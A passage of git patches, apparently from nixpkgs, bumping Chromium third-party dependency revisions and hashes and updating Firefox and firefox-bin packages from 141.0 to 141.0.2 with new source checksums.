-        "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
-        "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas="
+        "rev": "45a1c3ad5ac3de58c8e9a3f89036e3f954820d4c",
+        "hash": "sha256-qNGviVNU5VKCVQ1KkGmjGAaXF+ijL3s/u2yN+Ee5rmo="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -401,8 +401,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
-        "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc="
+        "rev": "0ddc6630b3723b14b164752d46c27752f078ddd3",
+        "hash": "sha256-cs1+5vBEFPqzi1vbxiSgujrLIoaXZROZaRJq2gRdUrE="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -411,8 +411,8 @@
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "959322177f40f2e0f1ecacd8a1aea2805e67b62b",
-        "hash": "sha256-qFLs3gMV0v6c0gjyn29D6pRxSAKumpzAWVgHabPFWRw="
+        "rev": "fff5c22e3178a633f57e4ad1fb5ad96a6116240a",
+        "hash": "sha256-2mXmDWn292dNA85EUN5sxarOle5HEW5t526SM1UPeKg="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -421,8 +421,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "539ab943598b505832a25a2222aa8957f1a20d6f",
-        "hash": "sha256-mE6IoHpLV0LUWEeeiWycXtOhIbhkPvVdLvsPSyv4xPk="
+        "rev": "6947a460f6b55ef5613c36263049ecf74c5ec1cd",
+        "hash": "sha256-lbsSiSRY3IikAKg30/gK3ncPxzOMhOUSQxvUIUCtJB0="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -431,8 +431,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "dd661c033abdde11022779f40375c52632a9f43a",
-        "hash": "sha256-1/G06WCO5ssBS3+T6E3rnGdIf0r205wVxfJX7lgivR4="
+        "rev": "ba41f91e480cfd79c97a9d1d70a4c3d42d16c72b",
+        "hash": "sha256-DIXGY1wVj2W5A91X3A2eL6Tr+CVdKhHaGHtSqBRjtPQ="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -516,8 +516,8 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
-        "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4="
+        "rev": "686bf6f1cde888898498f89ba9aefa66b683566a",
+        "hash": "sha256-rdeALLoqK1bth/EQY86fZC++QgMFCYyn7qMxsh9CMj0="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
@@ -531,8 +531,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
-        "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c="
+        "rev": "88798bcd636a93e92d69242da914deb4cec1dfb6",
+        "hash": "sha256-HPhxj3iK1YjWcfKT4o5CXhmvMBoGaA4JKco2HDf0Nec="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -551,8 +551,8 @@
       },
       "src/third_party/nasm": {
         "url": "https://chromium.googlesource.com/chromium/deps/nasm.git",
-        "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
-        "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs="
+        "rev": "e2c93c34982b286b27ce8b56dd7159e0b90869a2",
+        "hash": "sha256-TxzAcp+CoKnnM0lCGjm+L3h6M30vYHjM07vW6zUe/vY="
       },
       "src/third_party/neon_2_sse/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git",
@@ -566,8 +566,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "8cc5a0e8f6695263d44206cf5930641979cb3179",
-        "hash": "sha256-YlcvSDSCHHqDA43+hd5hpajZrIGqpn3KxhMJD8Wf+rs="
+        "rev": "dd421dc540e75bd4e52388dcb0656d4d96137a73",
+        "hash": "sha256-Bk9pD6fKdHBgnJOgqv8frA7+4WFBh837h9fXFgEebK8="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -581,13 +581,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "cf433ae5520d061db56391155b59b34e67484f39",
-        "hash": "sha256-FF0iXahVfqbi4OOdH9PPgCTAIQT/q0nlT/H70pubCMQ="
+        "rev": "849572b5c41e5bf59dc88bf54c41067faa9b5b00",
+        "hash": "sha256-lTUkzpzIskbEL7b2xBWT8s9YNyu1AZ235SBo5AfQtpg="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
-        "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4="
+        "rev": "18d4fdc15d027a989db705592585b924f93f1d42",
+        "hash": "sha256-ZmP/EFuFo9/xax8f+NEdGthfdAR/8+cTWoM9XPrkpcQ="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -626,13 +626,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "09fd22f3a4fb77ab03b7734e0c03ff7d7f97ef88",
-        "hash": "sha256-x7zGPqha12Og/AjQp1mkO0MNydM4xXvIcaapNziW0Kw="
+        "rev": "273082bef7b1bc05eddb5079b83702938e40c677",
+        "hash": "sha256-FrEUhG9G7EMiOvih0/FSlpWIuA3/wyBaQZLapYcutz4="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "a46d5732d9fca93eaec23e502e2eef814b707e6b",
-        "hash": "sha256-k0vE2K9KfeYsTVZchvKEA8M7GJQcekbuO5wHJeycBZo="
+        "rev": "cbc694239b06ecf694676aba22d5263dbc23ee5e",
+        "hash": "sha256-5vIwNP9RbtUVtgKKDiZd6NVkR2Ed3DUqZWESTUM+fIs="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -646,13 +646,13 @@
       },
       "src/third_party/sqlite/src": {
         "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git",
-        "rev": "0a1397d274701c5d39e661e948160da2b9a8db1e",
-        "hash": "sha256-jqelU2bFZ4XwI5dpkusvgUobmRyYo/41ZKqbEmOdpis="
+        "rev": "cc08c79629643fdd5b592f1391e738815f5577b6",
+        "hash": "sha256-1Q2+NyCJb0GIMC30YNbVqVYHnP62tmKqBRfr9Xw5Z4A="
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "a8133cbb3c8969e3c1e6b3cea2c02ec8312ef9ca",
-        "hash": "sha256-Fd6T9zFJVPJaF2sbBy+uK0Ia0C6AIZsDbNvPSkbuTJM="
+        "rev": "ed01d9931de34d3a6fb4d615050db5080d9cea16",
+        "hash": "sha256-is6sl3vRLyBjiHg97rI7WvxIiKg6eelqNfrZGTWPBtM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -661,18 +661,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "151774faba661a5985a8264653f4457c70a56dea",
-        "hash": "sha256-qpwF2+/dw1u24O5+4bW74R43AgGN//NZwzEmlkyHlr0="
+        "rev": "e6c5574b82d7950f978447704a70971c478f0f50",
+        "hash": "sha256-zdd0y0OILYoRhZ3O64g9MFdWLnAVJiM+CJUIN2RfmKo="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "5912cbdd295c2bacb5798432a7b1cac9d20c0725",
-        "hash": "sha256-kIj8sncNg6dJzg1fgORev/o164G3kMXCGHzlzb09n0U="
+        "rev": "f227ce323fb5a2fee1a98b6feea54b0e42b2f30d",
+        "hash": "sha256-8GHLg9S6f/k2XPgqeeZ6UCBQBoHuABdPYhpGecyqo+E="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "93231001597dad1149a5d035af30eda50b9e6b6c",
-        "hash": "sha256-0PocroQj02mdpmFVXr6XB7mVVNzQOaBXm/2GNacZLF0="
+        "rev": "d176fb41992d5c091fb1c401e4e70306382e67fc",
+        "hash": "sha256-27C9ZokeehkoFdIpiYkQ6PBgcNUq0kVLl4tvcgFrYLg="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -681,38 +681,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "c9aad99f9276817f18f72a4696239237c83cb775",
-        "hash": "sha256-/KfUxWDczLQ/0DOiFC4Z66o+gtoF/7vgvAvKyv9Z9OA="
+        "rev": "2a611a970fdbc41ac2e3e328802aed9985352dca",
+        "hash": "sha256-LRjMy9xtOErbJbMh+g2IKXfmo/hWpegZM72F8E122oY="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "01021466b5e71deaac9054f56082566c782bfd51",
-        "hash": "sha256-04CWBDu4Q+H7EtVTealNyGx0Hml7OjIf0FfK0IuzisY="
+        "rev": "33e02568181e3312f49a3cf33df470bf96ef293a",
+        "hash": "sha256-yAdd/mXY8EJnE0vCu0n/aVxMH9059T/7cAdB9nP1vQQ="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "75ad707a587e1469fb53a901b9b68fe9f6fbc11f",
-        "hash": "sha256-vB49bFCx9VVEtpwIFcxdqYT+Pk4DgjoPz4rzPfmuRps="
+        "rev": "10739e8e00a7b6f74d22dd0a547f1406ff1f5eb9",
+        "hash": "sha256-OorBl9vIN4DqVgT8ae+05yCLon7m0ixQczEzDlpwFRI="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "c913466fdc5004584890f89ff91121bdb2ffd4ba",
-        "hash": "sha256-D5S1xQbsJ4Ov+3u84Mxj3L/3elyW78jpKRbYo8FpD28="
+        "rev": "342da33fdec78d269657194c9082835d647d2e68",
+        "hash": "sha256-G+sTBXuBodkXi7njI0foXTqaxchsWD9XtF9UBsknE30="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "60b640cb931814fcc6dabe4fc61f4738c56579f6",
-        "hash": "sha256-snLYtiXK1eBZYsc7X18/wk4TnhmkSqquWxyjmw9IF2A="
+        "rev": "e3fc64396755191b3c51e5c57d0454872e7fa487",
+        "hash": "sha256-EqLG8kMQx6nHX9iZMrsu0fn1z4nY6TEQ/feTINNbUzQ="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "49ac28931f28bffaa3cd73dc4ad997284d574962",
-        "hash": "sha256-2mi5gtacSDxtZB8a3oGZqgLhwntSLXlEzDq6W14RHp4="
+        "rev": "72665ee1e50db3d949080df8d727dffa8067f5f8",
+        "hash": "sha256-FSk/LeYCt/XeF8XJZtr+DoNbvMmfFIKUaYvmeq5xK+w="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "f7ceb1d01a292846db77ec87786be84d6fd568d9",
-        "hash": "sha256-K0KZ8wXTCVRBBN9AWy63ukmE6QkQHKcRgo+YluOhjyc="
+        "rev": "e086a717059f54c94d090998628250ae8f238fd6",
+        "hash": "sha256-KF06qgduM4rAVs4MHvdS+QZs+3srB+p1NadQYTzc0OM="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -746,8 +746,8 @@
       },
       "src/third_party/webdriver/pylib": {
         "url": "https://chromium.googlesource.com/external/github.com/SeleniumHQ/selenium/py.git",
-        "rev": "fc5e7e70c098bfb189a9a74746809ad3c5c34e04",
-        "hash": "sha256-WIqWXIKVgElgg8P8laLAlUrgwodGdeVcwohZxnPKedw="
+        "rev": "1e954903022e9386b9acf452c24f4458dd4c4fc1",
+        "hash": "sha256-k5qx4xyO83jPtHaMh6aMigMJ3hsytFdFQOcZLmwPEYo="
       },
       "src/third_party/webgl/src": {
         "url": "https://chromium.googlesource.com/external/khronosgroup/webgl.git",
@@ -756,18 +756,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
-        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
+        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "18172a359f6dab8e3f70b6c5c8c7c55d3e97537a",
-        "hash": "sha256-qJnO3fFJhaQA77v1lTJ4B7cbXivquTcSvx/m+OcI3No="
+        "rev": "f3397454e39a7c0b35af192e6d8a1896af7bd9ec",
+        "hash": "sha256-saa07zzzbehOm4gIMoGVB0AZ2nLqmjnT5IfYBSsnZIw="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "e4445e46a910eb407571ec0b0b8b7043562678cf",
-        "hash": "sha256-72NbtdYbyMxSGULvOGsZqLj4kvT79pu+TKcnEmcj/Pc="
+        "rev": "23d8e44f84822170bee4425760b44237959423e5",
+        "hash": "sha256-8IETxHh2Lcgc2N0pV0kTEsbOAchsgwj6VZVDAcVssxw="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -776,8 +776,8 @@
       },
       "src/third_party/weston/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git",
-        "rev": "4eb10b123b483327214d8da5da67e8bbeeaed8fe",
-        "hash": "sha256-VNHUAtfTB24SIf2kl+MMXF3rG5cJOPM93WU/sVSIQ1A="
+        "rev": "bdba2f9adaca673fd58339d8140bc04727ee279d",
+        "hash": "sha256-o49a3sp+D9FycxeB+uMcKouVvlKWoWpfws7FLEGJ/V8="
       },
       "src/third_party/xdg-utils": {
         "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git",
@@ -786,8 +786,8 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "f82ad65ca52cb4d39b73088468a5fe00f56fb47c",
-        "hash": "sha256-aavq+i8EpQmIMPaym6JxwBFjbpqKtHshXUkdBIXDtpw="
+        "rev": "3c99186b3276aa891f94ebba35f6b16e627d57de",
+        "hash": "sha256-CXX0F2H0WjgOxV2iD8bizj1JZOknry7qTmtsv9yAJFU="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
-        "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI="
+        "rev": "b07b4e9376489c7f7c0ff2af5eceb4261b3bb784",
+        "hash": "sha256-MnrieVgkvlkWKZ0O790gDSCrgF9c+XEk/XLHQDzMqVY="
       }
     }
   },

From f500b9f328b8e776274aa32ebe0063d3a914bc51 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 6 Aug 2025 05:00:02 +0200
Subject: [PATCH 3230/4511] buildMozillaMach: adjust macos sdk patch range

(cherry picked from commit 74587eb6453c97874c32a5407415200895a441c7)
---
 pkgs/build-support/build-mozilla-mach/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 84f140ef0998..43928cdccb2d 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -316,10 +316,10 @@ buildStdenv.mkDerivation {
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
       ./139-wayland-drag-animation.patch
     ]
-    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "142") [
+    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141.0.2") [
       ./139-relax-apple-sdk.patch
     ]
-    ++ lib.optionals (lib.versionAtLeast version "142") [
+    ++ lib.optionals (lib.versionAtLeast version "141.0.2") [
       ./142-relax-apple-sdk.patch
     ]
     ++ lib.optionals (lib.versionOlder version "139") [

From d30a900d2ec50db45f56d928f971f421874fa173 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 6 Aug 2025 01:29:27 +0200
Subject: [PATCH 3231/4511] firefox-unwrapped: 141.0 -> 141.0.2

https://www.mozilla.org/en-US/firefox/141.0.2/releasenotes/
(cherry picked from commit 7b133bd32c56beaa26e8851b37c3846e37aebb6e)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index 5dca8a58b55f..12c0a16b922e 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "141.0";
+  version = "141.0.2";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "bd6998bce927c5b5c186537bd41475fc9e3809829ceadb2277bb382d02d3780d2a5e5749487567a75b7c9e3726f97662c4ec28924bc491c5a3f21e2ec4828d63";
+    sha512 = "6d1552bc64d915e784a5d560c8bb35a5308f35ebcd2552b027f80f950c7f0c627cca46b0796cf6e17d8f50c82e6f70a3ec11471ce0e058794f500b7b15e17b43";
   };
 
   meta = {

From 6ecec3c4a1349d0e2cbb5e18fc68f02e96e64335 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 6 Aug 2025 01:30:01 +0200
Subject: [PATCH 3232/4511] firefox-bin-unwrapped: 141.0 -> 141.0.2

https://www.mozilla.org/en-US/firefox/141.0.2/releasenotes/
(cherry picked from commit 11c885dcfe58162e688d72c2c59e94adab24ad6f)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 5591ca682b62..80043dce2e9f 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "141.0";
+  version = "141.0.2";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ach/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ach/firefox-141.0.2.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "3e6b1b0a383f48190fbcf2d15d1b88d9169a433702b4c064a1557670724247fa";
+      sha256 = "1ca9780814e8c8bd5d1df9cf5a060bf40bfaf8f44bf6814eb66b1c8dd7a98201";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/af/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/af/firefox-141.0.2.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "135ff6f4e52d3940562db5fc42a482749c91106412a1dfda4efee8b24b7dc540";
+      sha256 = "a236bab084dda9d07e9dfa64fb1d6cba3c01f501c7cfe199e0b0938e112a5983";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/an/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/an/firefox-141.0.2.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "fdfa0e89b46d6d6a7c1b0ac963c37aa74c4fbbc3f0e91744713674431d36f723";
+      sha256 = "1029ea94fc4a70b09b61902e82f952155def6aa33261c004884ddf610307abff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ar/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ar/firefox-141.0.2.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "40f6cdd85d1088f5d9e9f22d6a38cd51d0b392d0dc5ede6fbd1a1addec274812";
+      sha256 = "d56977ca982e8c8f30680abfc4f11e855a0ce3bca41fe3e15b5de4b672def8ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ast/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ast/firefox-141.0.2.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "6391be9e9d2d1a5b4bc7be20fc139842d3e47822c8ff526a8d17f7f007ec8c83";
+      sha256 = "6dbd5f336ae7a92d4054b3f3cd0426fc0bfe7a133e64d9f7af4fe4afdd79b38d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/az/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/az/firefox-141.0.2.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "32d9ed4fc3b209f664fe6384ef518a6671bcdf56738821a0297cd7a9dbd1515d";
+      sha256 = "e465e03bdbb4cda5c8e2f8b830d19304cbda7faae4905686a4e5adc0352318a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/be/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/be/firefox-141.0.2.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "237c9ee1875b6e323efc9ad180aa690538ff553e446f998493b0ef4bfef62a09";
+      sha256 = "a295b06135dad55fe9cf25f84e19c183a2f38ef7a17185855ade0290f0a68e24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bg/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bg/firefox-141.0.2.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "2b298fc9131958876dfe687ab11b00c900ee33f258b6b2b115cda43f7a01086f";
+      sha256 = "33afdf2755acff42958c3305d9d0f074f9c3fe3192189ef5666706cfd87db69b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bn/firefox-141.0.2.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "38c00267f75db553981c7d102045a92625290d1fb97fa4fcc98664b76ce4da17";
+      sha256 = "911876ce9731648211eeb8697f25e8da425165b0b632ac35c67030c033e42194";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/br/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/br/firefox-141.0.2.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "1d7da8cddbb96807b1ed1be39c2f2d7dfed48423cc5647a30b016deaf4192958";
+      sha256 = "aed15b4cca2d749e97ae3691f84bd975dac8cb49079e29cddaf4c67ae8c9097f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/bs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/bs/firefox-141.0.2.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "e26ba197a3f103633af4fcca1b8a170abf56a099e8dd682e3ccb76cc3a320845";
+      sha256 = "944d55cc43dbbdeaef0ba56fc7ca62f14b4ad0b153d6e077ab3aecafffea93ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ca-valencia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ca-valencia/firefox-141.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "7e67820161094d2fb516d6e2e2c28ebbd34a131532cc699698019b218c2421be";
+      sha256 = "188aee67f49b7cc8ff5e4f4ccfff364739aea22c5444f1b83d0ec883bb937c91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ca/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ca/firefox-141.0.2.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "ee562cfaaefac838448d021afbebeaa7b466fd61697f90aa3b4520a74cd0a95d";
+      sha256 = "b0dd88473a6d74540f0197c5295660800d0b4edd1be695108d3e85b6fb3b6b2d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cak/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cak/firefox-141.0.2.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "7fde32de81a709d9cd21c0ca6fbde093c17746455c4d03054f73ff4bdae4f078";
+      sha256 = "843d6295b4618307d90e2cb5c52d6d06fb11d397e4dab779e8e58b60b75fef4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cs/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cs/firefox-141.0.2.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "5a7ecf4748639f839660f9b087a30a951dd9f7a6ba96a174ee47291007cae675";
+      sha256 = "331adce471261e8f6cadb0b42d400dff3bf198eddaf9a65273164b1e7870f9f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/cy/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/cy/firefox-141.0.2.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "5bd49100e3779b0ada4cd1f639daff934dbb52fd0361f04b64230e24a0eb49f9";
+      sha256 = "1af3afb4bb347680de1308389e9d87a0c1d092ee558918329f85a1af40721045";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/da/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/da/firefox-141.0.2.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "7b0b58d4b1389752f4247fcbf7b9b5d1595ece150606b0f90a57343dacd8504b";
+      sha256 = "dcbb8ccd8fd680d09a1d85f549118a5d0f7ee725808f253ba03433c584b21d56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/de/firefox-141.0.tar.xz";
